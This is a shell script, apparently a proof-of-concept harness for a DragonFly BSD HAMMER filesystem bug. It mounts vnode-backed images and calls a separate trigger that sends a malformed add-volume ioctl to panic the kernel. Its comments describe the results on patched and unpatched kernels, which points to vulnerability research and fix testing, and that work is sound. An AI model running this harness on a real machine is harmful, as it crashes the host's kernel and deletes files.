DF-0869 / run.sh
#!/bin/sh # DF-0869 PoC harness. # # Sets up a base HAMMER filesystem (root volume), mounts it, then issues # HAMMERIOC_ADD_VOLUME with bogus boot_area_size / vol_size to drive the # missing-bounds-validation bug in hammer_format_volume_header # (hammer_volume.c:617-671) -> KKASSERT panic in hammer_format_freemap # at hammer_volume.c:407. # # MUST run as root: HAMMERIOC_ADD_VOLUME requires caps_priv_check # (hammer_ioctl.c:197). The threat model is root->kernel DoS via a # hand-crafted ioctl, NOT an unprivileged->root escalation. # # Expected on the unpatched #0 kernel (INVARIANTS on): # guest dies mid-syscall; panic signature in /home/maxx/dfbsd/dfbsd/dfbsd-qemu/boot.log: # Fatal trap ... # kernel: panic: ...hammer_format_freemap # Stopped at ... # This script's last printed line before the drop is "[*] issuing # HAMMERIOC_ADD_VOLUME ...". # # Expected on the patched kernel (fix.diff applied): # trigger returns promptly: "ioctl returned -1 (errno=22 'Invalid argument')" # with a dmesg line "hammer: rejecting insane volume geometry ..."; the # guest stays up. # set -e cd "$(dirname "$0")" MP=${1:-/mnt/df0869} ROOTIMG=/root/df0869/root.img NEWVOL=/root/df0869/newvol.img # 1. Prepare a base HAMMER filesystem as the root volume. rm -rf /root/df0869 mkdir -p /root/df0869 "$MP" truncate -s 2G "$ROOTIMG" vnconfig -c vn1 "$ROOTIMG" newfs_hammer -fL df0869 /dev/vn1 >/dev/null mount_hammer /dev/vn1 "$MP" echo "[+] mounted base HAMMER fs at $MP" # 2. Create the file we'll try to add as a second volume, then vnconfig # it so vn_isdisk() inside hammer_install_volume accepts it. The file # needs a non-zero size for vn_isdisk() to recognise it as a disk -- # we use 1 GiB (any small size works), and crucially the kernel never # validates ioc->vol_size against the real device size, so a 1 GiB # backing file happily "advertises" 2^49 bytes of buffer area. truncate -s 1G "$NEWVOL" vnconfig -c vn2 "$NEWVOL" echo "[+] new-volume vnode: /dev/vn2 -> $NEWVOL ($(stat -f %z "$NEWVOL") bytes)" # 3. Fire the trigger against /dev/vn2. This is the bug path; on the # unpatched kernel the guest will panic right here. ./trigger "$MP" /dev/vn2 RC=$? # 4. Cleanup (only reached on patched kernel or non-INVARIANTS build). vnconfig -u vn2 2>/dev/null || true umount "$MP" 2>/dev/null || true vnconfig -u vn1 2>/dev/null || true exit $RC |